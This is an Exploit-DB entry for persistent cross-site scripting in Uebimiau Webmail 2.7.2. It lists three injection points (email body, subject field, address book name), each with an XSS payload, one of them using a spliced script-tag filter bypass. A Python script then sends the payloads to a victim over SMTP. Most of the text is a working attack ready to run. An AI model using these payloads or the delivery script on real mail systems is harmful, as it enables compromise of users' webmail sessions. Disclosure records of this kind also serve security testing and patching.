Exploit-DB #20675
Description: uebimiau webmail 2.7.2 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-08-20
Author: Shai rod

Exploit:
#!/usr/bin/python

'''
# Exploit Title: Uebimiau Webmail Stored XSS
# Date: 17/08/2012
# Exploit Author: Shai rod (@NightRang3r)
# Vendor Homepage: http://www.uebimiau.org/
# Software Link: http://www.uebimiau.org/downloads/uebimiau-2.7.2-any.zip
# Version: 2.7.2
 
#Gr33Tz: @aviadgolan , @benhayak, @nirgoldshlager, @roni_bachar


About the Application:
======================

Uebimiau is an universal webmail developed in PHP by Aldoir Ventura.
It is free and can be installed in any email server.

-It runs under any System;
-It doesn't require any extra PHP modules;
-Doesn't need a database (as MySQL, PostreSQL,etc)
-Doesn't need IMAP, but compatible with POP3 and IMAP
-Compatible with the MIME Standard (send/receive text/html emails);
-Doesn't need cookies;
-Easy installation. You only modify one file;
-Compatible with Apache, PHP, Sendmail or QMAIL;
-Can be easily translated into any language (already translated in 17 languages);
-Can use a variety of skins




Vulnerability Description
=========================


1. Stored XSS in e-mail body.

XSS Payload: <scr<script>ipt></scr</script>ipt>'//\';alert(String.fromCharCode(88,83,83))//\";</script>

Send an email to the victim with the payload in the email body, once the user opens the message the XSS should be triggered.


2. Stored XSS in "Title" field ( works when victim opens message in full view).

XSS Payload: SubjectGoesHere"><img src='1.jpg'onerror=javascript:alert("XSS")>

This one requires you to send at least 2 messages to the victim with the payload in the email subject.

Location of injection in page source:

<a class="menu" href="readmsg.php?folder=inbox&pag=1&ix=1&sid={4F0FCD8FECD59-4F0FCD8FECD6C[PII_REDACTED]}&tid=0&lid=5" 
title="Uebimiau Webmail Stored XSS POC "><img src='1.jpg'onerror=javascript:alert("XSS")>">Next</a> :: 
<a class="menu" href="javascript:goback()">Back</a> ::

3. Stored XSS in Address Book

XSS Payload: <script>alert("XSS")</script>

Create a new contact with the XSS Payload in the "Name" field, Save contact, XSS Should be triggered when viewing contacts.

'''

import smtplib

print "###############################################"
print "#      Uebimiau Webmail Stored XSS POC        #"
print "#            Coded by: Shai rod               #"
print "#               @NightRang3r                  #"
print "#           http://exploit.co.il              #"
print "#       For Educational Purposes Only!        #"
print "###############################################\r\n"

# SETTINGS

sender = "attacker@localhost"
smtp_login = sender
smtp_[CREDENTIAL_REDACTED]"
recipient = "victim@localhost"
smtp_server  = "10.0.0.5"
smtp_port = 25
subject = "Uebimiau Webmail Stored XSS POC"
xss_payload_1 = """ "><img src='1.jpg'onerror=javascript:alert("XSS")>"""
xss_payload_2 =  """<scr<script>ipt></scr</script>ipt>'//\';alert(String.fromCharCode(88,83,83))//\";</script>"""
# SEND E-MAIL

print "[*] Sending E-mail to " + recipient + "..."
msg = ("From: %s\r\nTo: %s\r\nSubject: %s\n"
       % (sender, ", ".join(recipient), subject + xss_payload_1) )
msg += "Content-type: text/html\n\n"
msg += """Nothing to see here...\r\n"""
msg += xss_payload_2
server = smtplib.SMTP(smtp_server, smtp_port)
server.ehlo()
server.starttls()
server.login(smtp_login, smtp_password)
print "[*] Sending Message 1\r"
server.sendmail(sender, recipient, msg)
print "[*] Sending Message 2\r"
server.sendmail(sender, recipient, msg)
server.quit()
print "[+] E-mail sent!"